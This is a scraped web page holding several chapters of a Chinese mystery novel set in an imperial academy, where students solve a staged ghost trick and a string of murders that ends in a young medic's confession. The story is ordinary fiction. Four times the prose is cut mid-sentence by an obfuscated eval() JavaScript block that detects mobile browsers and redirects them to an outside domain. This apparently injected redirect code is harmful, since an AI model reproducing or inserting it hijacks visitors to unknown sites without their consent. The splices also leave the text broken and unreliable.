;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800030|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
籍楼夜间上锁,如何在没法进入的情况下,让灯烛自己亮起来,照出人形剪彩映到典籍楼的窗户上,形成人影。其二,如何让那剪彩,在天亮后人进入典籍楼之前,自行消失。”
“此人在房梁上射入一根袖箭,而后将人形剪彩折叠后系在了箭上。又在与这根房梁平行的房梁上放了那竹片,竹片一头放了石子,石子与剪彩的尾部通过一根细线相连。竹片通过长线系在蜡烛上,当蜡烛燃烧到连接竹片的那根线位置,线断裂,竹片上石子那头因为更重就会下落,其下落的力会将人形剪彩拉开,人影就显现在了窗户上。”
“至于那灯烛如何在夜间无人时自己亮起来,是设置人在蜡烛上插了一根线香,而且在蜡烛上倒了些胡麻香油,他应该是在最后离开典籍楼之前点燃了线香,等线香烧完,点着蜡烛里的油,就会将蜡烛也点着。这根线香的长度也是他事先计算好的,可以在他希望的时间燃尽。”
百里摇光尚还在云里雾里,夏慕卿却是一直跟上了裴逍的思路,这时,他问道,“那剪彩最后又是如何在天亮人进入前消失的呢?”
裴逍接着道,“今日姜飒脸上沾上的那纸灰,我猜便是那人形剪彩被烧了以后留下来的,让它自行燃烧的方式,我想应该和拉开的方式相似,比如在那蜡烛最下端缠绕一根棉线,最好还是浸了油的,然后这根线也系在剪彩上。这样当蜡烛烧到最后,点燃棉线就会顺着线将剪彩烧掉。而剪彩上面系在袖箭上的绳子则不浸油,这样那火烧到袖箭也就会灭了,不至于引燃其他东西。”
“原来是这样!”夏慕卿点了点头,“不得不说,这人心思属实巧妙。”
“那此人想必近日在典籍楼中待得时间很久,且可能是最早去最晚走的。”姜琛不知什么时候和姜飒一道出来了,方才裴逍所讲,他都听到了。
“应是如此。”裴逍恭敬应道。
姜琛细细打量了裴逍几眼,突然道,“敢问令尊尊讳?”
裴逍心里涌上几分警惕,口中淡淡回复,“家父单名一个秀字。”
姜琛点了点头,让几人回去了。
·
几人刚回到众人休憩的大堂室,便听到有学子叫百里摇光。
百里摇光出去片刻回来手中提了一个食盒。
他一打开食盒,里面食物的香味散出。
几个少年凑过去。
“长寿面?忘了今日是你生辰。”夏慕卿道。
“今日是摇光生辰啊?”姜飒问道。
“嗯。”夏慕卿应道,“也是裴逍的生辰。”
“阿逍和摇光是同一日?”
“没错。”
“近日书院里的事,搞得我都忘记了。”百里摇光说道,随即他将食盒里的点心茶果给周边少年们分了分,而后托着那碗长寿面,来到了裴逍跟前。
裴逍此时远离人群,独自坐在靠墙的铺盖上拿着本书卷在看,但如果留心观察一会,便会发发现裴逍许久都没有翻页。
“今日也是你的生辰,吃点长寿面吧。”百里摇光将那碗托到裴逍眼前,笑意盈盈地望着裴逍。
裴逍抬起头,曾经难凉寨上给她送长寿面的那些亲友的脸,与面前百里摇光的脸相重合,裴逍一时愣住了。
百里摇光见裴逍愣神,用筷子卷起大大一口面,直接塞到了裴逍口中。
那口面属实不小,裴逍杏眸大睁,险些要吐出来。百里摇光抬手堵住了裴逍的嘴巴,“好吃的,你嚼一嚼。”
裴逍看着百里摇光那双闪着光彩的桃花眼,破天荒地没有推辞,而是顺从地咀嚼起来。那面口感香软,上面沾裹的汤汁浓郁,确实味美。
“给。”百里摇光见裴逍喜欢,将碗筷举到了裴逍面前。
裴逍咽下那面,轻摇了摇头,“不吃了,多谢。”
“那我都吃了?”
“嗯”,裴逍点了点头。
百里摇光收回碗筷,丝毫不在意方才裴逍已经用过,大口大口吃了起来。
裴逍面皮微微发烫,将头埋进了书卷里。
43. 第43章
夜里裴逍刚刚入睡,在她左手边的姜飒翻了个身,一胳膊砸到了裴逍肚子上。
裴逍闷哼一声,心里腹诽这厮睡相也太不好了,她轻叹了口气,抓起姜飒的胳膊给他扔回去了。姜飒竟也没醒,又往另外一侧翻了个身。
只听那边百里摇光也闷哼了一声,随后拿了个什么物件把姜飒一通手脚都绑住了。
裴逍看到忍不住在被窝里偷偷弯起了嘴角。
没有姜飒干扰,裴逍终于可以安睡,结果还没睡多久,她就被外面的喧闹声吵醒了。
堂室内本就是众多学子集中休息,有个动静,很容易被连带着吵醒一大片。
“吵吵嚷嚷的,发生什么了?”
“不会又有人死了吧?”
“走,去看看怎么回事?”
不少人都已经起身,出去看发生了什么。
裴逍也睡不着了,她坐起来,正打算起身,见隔了一个位置的百里摇光也醒了。
他从姜飒手脚上解下一个东西,系在身上,随后利落站了起来。
裴逍方才认出,他之前绑住姜飒手脚的东西,竟然是腰带。
百里摇光见裴逍发现了他的动作,笑着将食指竖到嘴前,发出了个“嘘”的口型。
裴逍不禁抿住唇隐忍笑意,侧开了头。
夏慕卿也醒了,但他不想起来去凑热闹,便说了声,“回来告诉我发生了什么”。说完他便又钻进被中休息了。
姜飒仍旧未醒,他们便也都没有叫醒他。
裴逍和百里摇光走出堂室,见人群都往高年生休憩的堂室集中,吵闹声也来自那边,她们便跟着人群走到了五年生的堂室区。
将将靠近人群,裴逍便听到有人在高声训斥,“你怎如此不知检点?这里都是男人们住的地方,你一个女子跑这里来干什么?”
裴逍眉头轻蹙,想到可能是兰惜夜游又误闯到了这里,心里涌上了几分焦急。
前面学子人太多了,裴逍挤不过去,她见旁边都是窗子,便跳到一扇窗上,往里看,果然看见兰惜跪坐在人群中间。
裴逍忙高声喊了一句,“我知道!”
众学子纷纷看向她所在位置。兰惜听到裴逍的声音,也抬头看过来。
裴逍给了兰惜一个安定的眼神,而后开口解释,“兰惜姑娘有夜游症,她不是故意跑这里来的。昨夜我和姜飒就看到她夜游了,然后看着她回去医舍的。”
“真的假的?怕不是这女子是来找你私会找错地方了吧?”人群里传出一阵猥琐促狭的低语。
“你当谁都像你一样无耻吗?”百里摇光的声音在人群中响起来。
裴逍目光冷冷扫了一眼传出低俗言语的那片区域,高声回道,“这位兄台,你调侃我倒关系不大,但对女子的声誉如此轻易诋毁,对得起身后的先贤画像吗?”
那人一回头,看到后面正挂着先贤孟子的画像,一时语塞。
“昨日之事,我和姜飒同时看到的,现在我在这,你们不信的话,可以叫姜飒来问问看我所说是不是属实。我来之前并不知发生了何事,所以也不存在我和姜飒提前串通的可能。”裴逍说道。
百里摇光听此挤到门口准备去找姜飒。
那边有人说,“换个人去!我看你们蹴鞠经常一起,怕是一伙的。”
百里摇光停住脚步,冷笑了一声。
于是,那几个带头的学子另找了个五年生去二年生那里叫姜飒。
没过多久,姜飒人还没到,哭叫的声音先到了,“阿逍你怎么不要我了?”
百里摇光嘴角轻抽了抽,裴逍一脸无奈看向门口。
姜飒是跑着进来的,他进来便想找裴逍,还没来得及动作,便被人拦住问,“你先等等,我问你‘昨夜里你看见这个女子夜游了吗?’”
姜飒有点懵,愣愣问道“哪个女子啊?”
那问话的学子开口让挡在姜飒前面的人让开,姜飒这才看到了跪坐在地上的兰惜。
他当即走过去扶兰惜,脑子也清醒过来,说道,“是啊,昨夜里,我和裴逍起夜,看到兰惜姑娘在夜游。我之前听说夜游的人不能轻易叫醒,所以我们就没敢叫她,跟着她看她回了医舍,我们便回来休息了。”
“现在清楚了吗?可以放兰惜姑娘回去了吗?”裴逍盯着那站在兰惜面前咄咄逼人的学子冷冷道。
她见人群给姜飒让开路,就跟着走了过来,也不管那些人如何回应,拉起兰惜就往外走。
姜飒和百里摇光也跟了出来。三人一道往医舍走去。
兰惜一路不停地自责。“三位公子,都怪我,给你们惹麻烦了。”
“这倒没什么。只是你这样下去太危险了,得想想办法。”裴逍担忧道。
“是啊”姜飒附和道,“兰惜姑娘,这次正好闯到学子堆里人多一些还安全,以后万一遇到零星的心术不正的学子还不定会发生什么事呢。”
裴逍三人将兰惜一路送回了医舍,裴逍又再次叮嘱兰惜道,“必要的话,可以睡觉时给自己加些限制,比如将桌椅挡住门,上面放个易碎的会发出声响的物什,或者给自己胳膊拴一根绳子绑床上试试,虽是麻烦委屈些但至少安全。”
兰惜连连点头答应。
回去路上,姜飒揉着胳膊说,“我怎么感觉我胳膊也被绑了呢?”
裴逍想起之前百里摇光三下五除二拿腰带将姜飒手脚绑了,嘴角忍不住弯起了一个极小的弧度。
百里摇光桃花眼中闪过狡黠,含着笑意看了裴逍一眼,示意她别出卖他,随后说了句,“可能是做梦吧。”
·
第二日,裴逍几人跟着姜琛一起去了医舍。
祝医师正在与看守管理典籍楼的院工饮酒,见姜琛等人造访,那院工便要行礼告辞。
裴逍想起之前的猜测,向那院工问道,“纪先生,典籍楼上旬可有哪位学子或者先生常去?且是最早去,最晚走的?”
院工想了想,说道“上旬因为,咳,你们也知道的,典籍楼里来读书的人很少,只是因为又到了今年该晒书的时候,上旬典籍楼里的书先拿出来一部分整理晾晒。二年生里的祁青阳因为在书院中做工,来帮忙做这个,所以他上旬来得多一些。他人很勤快,又是真的喜欢这些典籍书卷,所以那几日他都是最早来,最晚走的。后来地下藏书室发现了学子尸身那日,听说祁青阳那边被京兆府的人看管起来,限制了自由,就没再来帮忙了。晒书的事情,便也先停了。”
“除了他,没有其他人了吗?”夏慕卿问道。
“其他学子和先生也有来的,但大多就来一两次,待的时间也不长,大概也就和你们差不多。”
院工走后,几人纷纷在医舍的堂内落座。
姜琛开门见山问道,“两年前京兆府对祁彦辰的案子结案后,可是祝医师给祁彦辰收领的尸身?”
祝医师愣了片刻,回道,“正是在下所收。不过在下还以为姜大人是要问上旬书院里发生的这些案子,没想到是以前的旧案。”
“是旧案,也是上旬发生的新案。”姜琛目光锐利,盯着祝医师道,“还请祝医师详细说一下当时的情况”。
祝医师点了点头,一边回忆一边道,“三年前的一日,我医舍中的医仆,一个叫做花芷的小姑娘,很晚才回来。”
“她当时很慌张,跟我说她祁彦辰救了她,但是祁彦辰有危险,求我跟她一起去救人。花芷很小的时候,便跟着我了,可以算是我的徒弟,我自是不忍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800031|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拒绝她的请求。虽然我也怕得罪定国公世子,但是我想着,去了跟世子赔罪,说一说好话,或许有转圜的余地。”
“于是,我骑着马带着花芷,按送她回来的车夫给的路线往那个地方赶。但因为花芷之前是被塞在马车里掳去的,不认识路,当时天也晚了,我们走着走着迷了路,绕了许久。等我们找到那地方的时候,那里已经是一片火海了。”
“有附近的村民报了官,火灭后,官府抬出一具焦尸,在里面那院子里找到了一块国子生的名牌,上面写着祁彦辰的名字。我们才知道祁彦辰已葬身火海。”
“后来京兆府调查以自尽结案,让家人领走尸身。因为祁彦辰的家人不在京中,我们就先帮着收敛安葬了。”
“那这位花芷姑娘现在何处?”姜琛接着问道。
“祁彦辰死后不久,花芷便跟我说她父母来找她了,给她许了人家。我虽是不舍,但是女大当婚,且又是父母之命,我也只好帮她收拾行装,送她走了。”祝医师回道。
“我方才进来医舍时,见到院子中有个在照料草药的姑娘,她是接替花芷姑娘的医仆吗?”
“没错。兰惜是花芷的远方亲戚,是花芷写信推荐来的。”祝医师说道。
“花芷姑娘嫁去了何地?”
“这我不太清楚,只知道是南方,还挺远的。”
“她是哪里人士?”
“当年我是在成都府华阳县境内游历遇到她的,当时她家中父母正打算卖女给家中幼子治病。她应该就是那里人士。”
“既然是卖你为仆,怎么她父母后来还给她许了人家?”姜琛问。
祝医师叹了口气,接着道,“主要还是我担心,花芷在这得罪了窦世子可能还有麻烦,又经历了祁彦辰的事情,所以她父母安排她远嫁,我觉得更好,就同意了。”
“如此,多谢祝医师实言相告。我等便告辞了。”姜琛没多做停留,带着姜飒他们几个向外走去。
路过院子,兰惜给裴逍摆了摆手,裴逍按她示意跟着进了旁边的一间药房。
“姜大人是来查最近发生的杀人案的吗?”兰惜问。
裴逍点了点头,“还有三年前祁彦辰自焚的案子。”
“哦,那案子啊,我也听说过,属实骇人。”兰惜抬手捂住了面纱下的嘴巴,神情中难免惊恐。
“你叫我来,是有什么要与我说?”裴逍问。
“对了。”兰惜自袖中取出一个小药瓶和一张方子递给裴逍,压低声音说道,“此药可延缓发育,帮助你遮掩女子身份。现在你还没太显现特征,但是也到了女子快速发育的年纪,这药应该能帮上忙。而且这药我用过,没有对身体产生什么不好的影响,你可以放心用。每月一丸,这一张是药方,以后用完了可以再去配。”
裴逍心中感激,道了谢小心收在怀中,抬头打算跟兰惜告别去追姜琛等人,却发现兰惜看着自己,神情有些不似以往,好像还有什么话想说。裴逍便道,“你想说什么尽管说。”
兰惜欲言又止,半晌笑了笑说,“没有了,你自己保重,快去找姜大人他们吧。”
裴逍见此,应了声“好”,匆匆出了医舍。等跟上了姜琛几人,她回想起兰惜今日神情言语,隐隐觉得有些奇怪,却也不想不出是什么原因。
·
裴逍几人跟着姜琛去了高年生课室,叫了那个之前受惊说自己要被人杀了的学子庞雄出来。
“你和窦世子他们几人关系很好?”姜琛问。
庞雄抬眼四处瞄了瞄,不知道在看什么,半晌才回了声,“是。”
姜琛将他的反应尽收眼底,又突然抛出了之前那个让他害怕的问题,“你先前为何说凶手下一个要杀的人是你?”
44. 第44章
那庞雄身子颤了一下,低声道,“最近被害的学子都是我身边的朋友。学生,学生是害怕。”
姜飒冷笑了一声,轻嘲道,“不做亏心事,不怕鬼敲门。你如此心虚,怕不是你们一起做了什么恶事?”
“没有的事!”庞雄猛地抬头辩解,他眼睛瞪得溜圆,声音却还打着颤。
“京兆府和刑部,都在国子监里安排了很多人手,保护学子安全,你不必担忧。”姜琛安抚了几句,带着裴逍几人去了国子学大门内角房处。
负责看守的李老丈已经由姜琛的部下引了进来,恭敬地双手将近日国子监人员出入登记簿奉上。
姜琛翻了几页,问道,“这人员出入记录为何这么少?”
“姜大人,这里面记录的是外部人士,也就是非国子学学生、先生和院工的一些人,进出国子学的情况。书院里的人进出一般是不记录的。”李老丈解释道。
“原来如此,那便作用不大了。”姜琛放下那簿册,又问道,“上旬第二日有哪些人推车或者驾马车出入国子学,你还记得吗?”
李老丈想了想道,“回大人,上旬除了国子学里一般出入的院工后勤人员,没什么人推车或驾马车出入,就是出事的那几家少爷府上的人,也是乘得轿子进出的。”
“那国子学一般会推车出入的院工后勤有哪些人?”
“比如会馔堂负责膳食的,园子里负责养护的,院子中负责各处洒扫的,校场里喂养马匹的,医舍里搬运药材的......总之,就是负责国子学里学生和先生日常的各处院工,推车搬运米粮花草药材等用物进入书院,再将书院中的泔水脏物等运出来。”
“那上旬这些人可有什么不同寻常的举动吗?比如找了什么人来帮忙搬运?”
李老丈微低了头回忆起来。
正在这时,姜琛部下突然来报,“那叫庞雄的学子说他知道凶手是谁了,嚷着让您抓凶手呢。”
“他人在哪?”姜琛说着便起身,跟着部下的指引往书院里走,裴逍几人跟在了后面。
·
他们一行径直往书院深处而去,一路上,学子们也都在往那里赶,他们几乎是跟着人流走。
一直到了先生斋舍的区域,老远便挤了许多学子,他们都看不到前面发生了什么。姜琛部下高喊了声,“刑部姜大人到!”人群中间才让出了条路。
裴逍几人跟着姜琛径直走到一间房舍门口,见祁青阳被人反剪双臂押着无法直起身,地上散落了一堆用物。而庞雄站在他对面,见姜琛来,行礼道,“姜大人,祁青阳就是凶手,我已经搜了他的房间,虽然在他屋里没找到什么证据,但凶手铁定是他!”
“哦?”姜琛皱了眉,“没有什么证据,你如何认定是他的?”
庞雄走到姜琛身边,从袖中取出一张纸,展开递给姜琛。他正要再说什么,姜琛快速看了一眼那纸上的东西,打断道,“你先跟我来。”说着,他便扭头要带着庞雄离开,却被一人拦住了去路。
“姜大人,庞雄不是官府人士,凭什么搜查学子房间?”裴逍挡在姜琛面前冷冷道。
“我——”庞雄正待要回嘴,姜琛抬手制止,“差点忘了。有怀疑的人,应该告诉刑部来查,你切不可再如此行事!”
庞雄见姜琛如此说,瞪了裴逍一眼,应了声“是”。
裴逍向侧面让开一步,姜琛带着人离开了。聚集的人群却并未散去,仍旧盯着门口的祁青阳,不时有人指指点点,说些什么。
裴逍走到祁青阳面前,对还押着他的几个人道,“还不松手?姜大人说祁青阳是嫌凶了吗?”
那几个人互相看看,似在犹豫。
“何况就算他是嫌凶,也用不着你们动手吧。”姜飒走上前道。
那几个人松了手,其中一人道,“是不是凶手,今日便知道了。”说着,他抱起胸,站到了旁边,“我们就在这盯着,免得他跑了。”
裴逍没再理会他们,伸手扶起祁青阳。
祁青阳起身看了看裴逍和她旁边的姜飒、夏慕卿、百里摇光,低低道了声,“多谢。”
随后,他便往前几步,蹲下身收拾起了散落在地上的东西。
裴逍正要帮忙,夏慕卿拽了下她的衣袖,指着地面某处示意她看。
一个像是弩机式样的物件掉落在那,旁边还有一把线香,一叠凌乱的纸堆。
这些东西......有些巧啊。
在裴逍愣神之际,帮祁青阳收拾东西的姜飒,正好捏住了那纸堆的上部,他往上一提,只见那堆纸层层叠叠展开,一个人形的拉花嚯地展开在裴逍面前,裴逍感觉一阵凉气从脚底迅速蔓延全身。
夏慕卿也看到了,他伸手按住裴逍的手臂,稍稍用了点力,见裴逍看过来,他轻轻摇了摇头。裴逍明白他的意思是先不要声张。
姜飒和百里摇光没有多想,在两个人的搭手下,很快祁青阳的东西便都收捡起来了。
夏慕卿见东西收拾得差不多了,便与祁青阳道,“快午时了,我们先去会馔堂用膳了,你收拾下也赶紧来吧。”
他说完,拽了裴逍当先离开,姜飒和百里摇光见此,也跟着走了。
裴逍任由夏慕卿拽着走动,心中在想,她已确定在院中设置诡异事件的人就是祁青阳。诡异事件发生之地恰好都是命案发生之地,难道祁青阳就是杀那五人的凶手?她不愿意相信这个推断。
虽然她深信即便是祁青阳杀人,他也定有苦衷。
但是那五个京中纨绔,虽然行事恶劣,真的罪至于死吗?
倘若那五人确实做了恶事,咎由自取,可祁青阳为了惩治他们而杀人,那他的人生便也毁了。真的值得吗?他还这么年轻,这么有才华。
·
夏慕卿引着裴逍几人,没去会馔堂,反而去了裴逍和百里摇光的斋舍。他一关上门,便转回身神情凝重地对裴逍说,“青阳应该就是在书院里设置诡异事件的人,你也看出来了吧?”
百里摇光在看到那弩的时候有所怀疑,还不能确定,这下得到确定,心中也很讶异。
“是青阳?”姜飒惊讶问道。他根本没注意看祁青阳被丢出来的东西。
“嗯”。裴逍轻轻回应一声。
“那杀人凶手就是他?”姜飒问出。
几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800032|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人都沉默了,谁也不希望是这样的真相。
半晌,裴逍缓缓开口,“有一点我想不通。我们在查祁彦辰自焚的旧案时,得知祁青阳也在查,说明他也不知道当年发生了什么。我们查到马四的时候,祁青阳应该还没查到,不然他没有理由不要回他兄长的玉佩。也就是说,祁青阳查得比我们慢一步。即便是我们,因为找不到花芷这个关键证人,线索中断,也还没查清楚当年到底发生了什么。那祁青阳,在没有弄清楚当年真相的情况下,按理应该不会动手报仇。”
“是啊。”姜飒道,“而且这可不是一条人命,已经死了五个人了。难道这些人都和当年祁彦辰自焚的事情有关吗?”
“有没有可能他从别处知道了当年的真相?”夏慕卿猜测道,“当年的事可能还有其他的知情人,甚至,凶手会不会不止一个人?”
“可是,我们都知道,祁彦辰只有青阳一个弟弟。就是因为家中没人了,当年他死后才会由祝医师领尸帮忙安葬。如果真的是青阳做的,还有谁会去帮他呢?而且还是帮他杀人,目标还是五个京中大族家的子嗣。”姜飒道。
“我也这么想”。百里摇光道,“祁彦辰离奇死去两年,案子就那么揭过去了,除了沦为书院学子和京中之人的谈资外,没有泛起任何涟漪。如果没有青阳惦念记挂的话,谁还会替他哥哥出头鸣不平呢?”说完,他叹了口气。
裴逍心里涌上几分苦涩,颇有些物伤其类之感,她自己又何尝不是呢?
几人又陷入了沉默。
半晌,屋外传来了敲门声,“裴逍,你们在里面吗?祭酒要求所有人到泮池广场集合,说是姜大人有办法指认凶手了。”
几人互相看了看,一道心事重重地向那集合地去了。
·
裴逍几人到泮池广场之时,见此处人数众多,不仅有学子,还有司业、博士、助教和院工都在。
等所有人到齐了,没到的也都记录了,姜琛站在高台上,看着人群指示道,“请所有人配合现场抄写几个字。至于具体的原因晚些我会公布。现在开始吧。”
他说完,刑部和京兆府的府吏便开始按队列安排人抄写。
“抄东西?难道二叔是想核对笔迹?”姜飒猜测道。
“可能是。不过学子们的课艺先生那里本就有,而先生们的笔迹书院里就更好获得了,姜大人要求所有人到现场抄写,恐怕还有别的意图。”夏慕卿道。
所有人抄写的都是这几个字,“保、巳、医、会”。先从先生和院工等人抄起,姜琛在人群中穿梭查看着。庞雄站在高台上四处看着,他身后有几个衙役,是姜琛安排保护他的。
安王和康王也在,他们两人也顺从地抄写了几字。
很多院工是不识字的,但是姜琛并没有免除他们抄写。他们抄写地颇为费力,写出的字也往往是歪歪扭扭的。
轮到医舍里兰惜抄写时,裴逍见她抄写地格外生涩迟缓,心中很是奇怪。兰惜经常写方子,应不至于如此才对。她仔细看了一下,方才发现兰惜是用右手抄写的。
姜琛也注意到了,开口问道,“兰惜姑娘平日是惯用左手吧?”
45. 第45章
“回大人,小女子确是惯用左手,只是因左手腕采药时伤到了,没法握笔,方用右手誊抄。”兰惜说着伸出左手,掀起一小截衣袖,手腕上一大片青紫。
“原来如此,那姑娘要好好养一下。行医之人的手,可是很重要的。”姜琛注视着兰惜,颇有深意地说道。
不多时,先生和院工们都已抄完,轮到学子抄写了,先是从五年生开始抄起。
祁彦辰之前的好友祝徵,也是个惯用左手的,左手抄写得颇为流利。
轮到二年生这边抄写时,裴逍几人都很快抄完。
最后到祁青阳写时,裴逍见他下笔不似以往流利,一笔一笔写得非常慢。他的眼睛一直盯着那几个字,仿佛是在辨认字迹。
所有人都抄写完了,祭酒、司业和姜琛、府尹一同离场辨认笔迹,留众人在原地等待。
那庞雄站在衙役中间,双眼死死地盯着祁青阳。
祁青阳却没看他,低着头似在琢磨些什么。
场上众人虽然不知道姜大人葫芦里卖的什么药,但此时也都只能都遵令等在这里,一些人好奇心重的、等得不耐烦的人,便时不时交头低语几句。
所幸没等多久,祭酒一行人便回来了。
姜琛回到高台上宣布,“方才让所有人抄写的几个字,取自凶手写给学子庞雄的威胁信,经核对笔迹,凶手就是——”
裴逍收在袖中的手捏紧,心也悬了起来,她有些害怕听到那个名字,目光忍不住投向了高台上方。
“二年生祁青阳!”
裴逍一直盯着台上,见祁青阳在听到姜琛宣布自己名字的瞬间,很诧异地抬头看向姜琛,随即又很快地低下了头,默不作声。
他这是,承认了?裴逍心内一片悲凉。
“我就说是你这个混蛋!今日传这封信给我,想引我出去趁机动手。若不是我机警,我就也死了!”庞雄往前几步,指着祁青阳骂道。
姜大人吩咐几个衙役将祁青阳按住,扣押在地。祁青阳没做反抗,任人将他拖到了高台正中。庞雄见祁青阳被人制住,冲过去在祁青阳身上揪打起来。
裴逍心中到底不忍,她从队伍里疾走出来,几步跃上高台,将那庞雄一把扯开,向后推了几步。
随即,她直视着庞雄,高声道,“庞学兄口口声声说祁青阳要杀你,我却不知祁青阳为何好端端地不杀我,不杀其他学子、博士、司业、院工,偏偏要杀你?”
“你是做了什么伤天害理的事,以至于凶手还没要杀你,就心虚惶恐地预感到了自己是下一个目标?”
“哦,不对,应该问,你们做了什么伤天害理的事?窦尧臣、王凛、赵子申、钱铎、沈维翰,还有你!”
在裴逍咄咄逼人的追问下,庞雄开始往后退,身体不由自主地打起了摆子,额上有汗珠沁出。尤其听到那几个名字的时候,裴逍每念一个名字,他都抖一下,最后双腿一软,直接摔坐在了地上。只听他有气无力地说,“我们,我们没做什么,不过就是偶尔,偶尔欺负他一下。”
“说得轻巧!祁彦辰身上总是有伤,都是你们打的。”人群中传来愤怒的声音,裴逍回头,看到是祝徵。
“我看到你们在大雨中故意推倒他,在他的床铺上洒水不让他睡,还将他关在斋舍门外,他与你们无冤无仇,难道就因为他出身寒门,就活该被你们打骂欺凌吗?”
庞雄看了眼祝徵,心虚地低了下头,随即不知哪来的勇气又抬起头来,梗着脖子道,“可我们就欺负欺负他而已,他弟弟就要杀了我们六个人?!”
话音落,一时场上没有人再说话,静得出奇。
纵然这几人在国子学中横行霸道,天怒人怨,但是国子学中看不起寒门低门学子,使绊子欺负人的事屡见不鲜,因为这个杀了五个人,实在没办法让众学子师生们心中的秤偏移向凶手一方。
“呵呵呵。”人群后方传来一个女子的轻笑。
“仅仅是欺负他吗?!”那女子一边说一边走出了院工所在队列。
兰惜?!裴逍睁大了眼。
兰惜一步步走到了人群最前面,仰头看着台上的庞雄,厉声喝道,“你们是毁了他啊!”
那庞雄不知为何竟然会怕兰惜,只见他吓得又窜回了衙役身边。
兰惜看了裴逍一眼,目光复杂,似有感激,又有抱歉,而后移开目光,高声说,“那五个人都是我杀的,与祁青阳无关!”
全场皆惊!人群渐渐喧哗起来。
怎么可能,兰惜一介弱女子,如何杀得了五个年轻力壮的男子?更何况,她有什么动机要去得罪京中五家权贵?
裴逍也震惊地望着兰惜,觉得自己似乎从来没有真正地认识她。
姜琛正要开口,跪坐在地一直没有出声的祁青阳突然大声说,“不对!人是我杀的,与兰惜姑娘无关。”
姜琛似乎对眼前的情况并不意外,他眼神扫了扫两人,没理会祁青阳,而是看着兰惜问道,“兰惜姑娘,如何证明与祁青阳无关?”
“很简单。大人问他为什么要杀那几个人,他怕是都说不清楚,更不用说什么时候,在哪里,杀了谁,凶器是什么,怎么杀的。”兰惜淡然说道。
裴逍离祁青阳近,听到他很轻地叹了口气。
姜琛与衙役吩咐了几句,随后衙役搬来了四具尸身,列于台上。
遮盖尸身头部的白布一掀开,台上台下师生院工纷纷露出了嫌恶的神情。
姜琛吩咐衙役将祁青阳带拉到近前,指着其中最边上一具尸身问,“你为何要杀他?”
祁青阳看了一眼那肿胀苍白的死尸,不自觉地将目光从上面移向了白布,随后他像是想到了什么,又看回了那尸身的面部。
“这个王凛到底做了什么事情让你要对他动手?”姜琛又问道。
“他助纣为虐,欺凌同窗!”祁青阳回答。
姜琛又指着第二具尸身问,“赵子申脸上的淤青是你用什么伤的?”
祁青阳看了一眼,说“棍子”。
姜琛不置可否,又走到了第三具尸身前,开口道,“这钱铎是你兄长之前的室友,想必你知道他也参与欺凌你兄长,对他尤其痛恨吧?”
祁青阳扫了那尸体一眼,冷冷地说,“那是自然。”
姜琛没说什么,背着手在台上踱了几步,突然指着第四具死尸,对祁青阳提了个很奇怪的问题,“这人是谁?”
祁青阳下意识地看向第四具尸身,却突然怔住。过了半晌,他才回答道,“沈维翰”。
姜琛轻嗤了一声,又问祁青阳,“你今日给庞雄的信为何要约在午时校场见?”
祁青阳稍顿了一会,开口道,“因为那时校场人少。”
姜琛听闻一甩衣袖,转身走回台子中央,高声道,“庞雄收到的信,约的是巳时医舍见,根本不是午时校场!”
祁青阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800033|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猛得看向姜琛,一脸惊异。
“还有,第一具尸身是其他案子的,不属于本案中任何一位死者。第二具脸上有伤的尸体不是赵子申,而是你说的尤其痛恨的钱铎。第三具你说尤其痛恨的钱铎的尸身其实是沈维翰。最后一个你说是沈维翰的死者,实则是赵子申。”
祁青阳怔住了,他没想到原来姜琛方才是在诈问他。
“你一具被害人的尸体都认不出,就说都是你杀的,”姜琛质问道,“你到底为什么非要包庇凶手?”
“大人说笑了,人是我杀的,他根本连我是谁都不知道,怎么可能包庇我呢?”兰惜声音清脆响亮,带着一种坚定与无畏,与平日所见全然不同。
“你,不是兰惜姑娘吗?”祁青阳疑惑地看向她。
兰惜仰头笑了几声,随即转身面对着祁青阳,伸出左手揭开了面纱。
遍布烧伤痕迹的下半张脸顿时呈现在众人面前,除了少数曾见过的人以外,绝大多数人都是一惊,人群中开始小声议论。
